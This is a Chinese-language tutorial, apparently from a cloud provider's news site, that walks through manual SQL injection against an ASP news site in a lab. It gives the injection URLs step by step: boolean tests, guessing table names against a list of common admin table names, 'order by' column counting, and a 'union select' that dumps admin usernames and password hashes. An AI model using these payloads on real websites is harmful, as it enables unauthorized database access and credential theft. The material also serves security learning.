温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

如何实现手工SQL注入

发布时间:2022-01-10 10:32:01 来源:亿速云 阅读:224 作者:柒染 栏目:安全技术

这期内容当中小编将会给大家带来有关如何实现手工SQL注入,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。

SQL注入是***对数据库进行***的常用手段之一,其核心思想在于:***在正常的需要调用数据库数据的URL后面构造一段数据库查询代码,然后根据返回的结果,从而获得想要的某些数据。下面我们就对之前已经搭建好的***平台进行SQL注入,最终目的是获得网站的管理员账号和密码。目标服务器IP地址:192.168.80.129,***主机IP地址:192.168.80.128。

(1)寻找注入点

随便打开一个网页,注意观察URL。

如何实现手工SQL注入

注入点必定是类似“http://192.168.80.129/shownews.asp?id=7”这类存在命令调用的页面,“shownews.asp?id=7”是页面传值,就是将“id=7”传到“shownews.asp”页面里进行处理。

我们可以在这个URL后面加上and 1=1和and 1=2进行测试。

http://192.168.80.129/shownews.asp?id=7 and 1=1 ,网页仍能正常显示。

http://192.168.80.129/shownews.asp?id=7 and 1=2 ,网页无法正常显示。

这就表明“asp?”把我们自己加上的“and 1=1”也作为一个命令参数进行了调用,那我们就可以来构造一些SQL语句来被调用执行,从而得到需要的信息,这就是所谓的注入漏洞。像这样可以调用命令参数的网页就称为注入点。

(2)猜表名

***进行网站***的主要目的是获得网站管理员的用户名和密码,用户名和密码都是存放在后台数据库的某个表中,所以首先我们得猜出这个数据表的名字是什么。

表名用的最多的是admin和admin_user,我们可以在注入点URL的后面加上这样一条语句来猜表名:

http://192.168.80.129/shownews.asp?id=7 and (select count(*) from admin) > 0

“select count(*) from admin”的意思是统计admin表中有几条记录,如果admin表存在,那么这条语句就会得到一个数值。用这个数值跟>0比较,结果肯定是成立的,所以此时网页应该正常显示。反之,如果admin表不存在,那么“select count(*) from admin”就得不到任何数值,跟>0比较,结果不成立,网页也就无法正常显示。

如果网页不能正常显示,可以再换一个表名进行尝试,直到正常显示为止:

http://192.168.80.129/shownews.asp?id=7 and (select count(*) from admin_user) > 0

http://192.168.80.129/shownews.asp?id=7 and (select count(*) from manage_user) > 0

这个网站的表名就是manage_user。

常见表名主要有:admin sysadmin manger admin123 webadmin member manage_user

注意:如果表名实在猜不出来,也可以使用明小子之类的工具来帮忙。

如何实现手工SQL注入

(3)猜字段的数量

下一步是猜这个表中哪个字段存放着用户名和密码,首先需要知道数据表中一共有几个字段。

这里要用到“order by”语句,“order by”的本意是按某个字段排序,“order by 10”就是按第10个字段排序,如果第10个字段存在,那么网页就会正常显示,否则如果网页无法正常显示,则表明第10字段不存在。

http://192.168.80.129/shownews.asp?id=7 order by 11

通过这种方法可以猜出这个表一共有11个字段。

(4)猜字段名

下一步是需要知道哪个字段存放着用户名和密码,这里用到“union select”联合查询语句。

http://192.168.80.129/shownews.asp?id=7 union select 1,2,3,4,5,6,7,8,9,10,11 from manage_user

这里会将存放用户名和密码的字段爆出。

如何实现手工SQL注入

存放用户名的字段一般叫username,存放密码的字段一般叫password,将第2和第3字段替换成这两个名字:

http://192.168.80.129/shownews.asp?id=7 union select 1,username,password,4,5,6,7,8,9,10,11 from manage_user

这时就将用户名和密码爆出了。

如何实现手工SQL注入

(5)猜后台管理入口

在这个2.0版的南方数据模板中,本身就带有“管理员登入”的链接。现在大多数网站不会这样设置的,所以这里一般要凭经验来猜,管理入口一般存放在名为admin的网站子目录下,输入下面的地址http://192.168.80.129/admin,就自动将管理入口显示出来了。

如何实现手工SQL注入

在这里就可以用之前爆出的管理员账号和密码来登录,但是密码“3acdbb255b45d296”很明显是经过MD5加密的。

上述就是小编为大家分享的如何实现手工SQL注入了,如果刚好有类似的疑惑,不妨参照上述分析进行理解。如果想知道更多相关知识,欢迎关注亿速云行业资讯频道。

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

sql
AI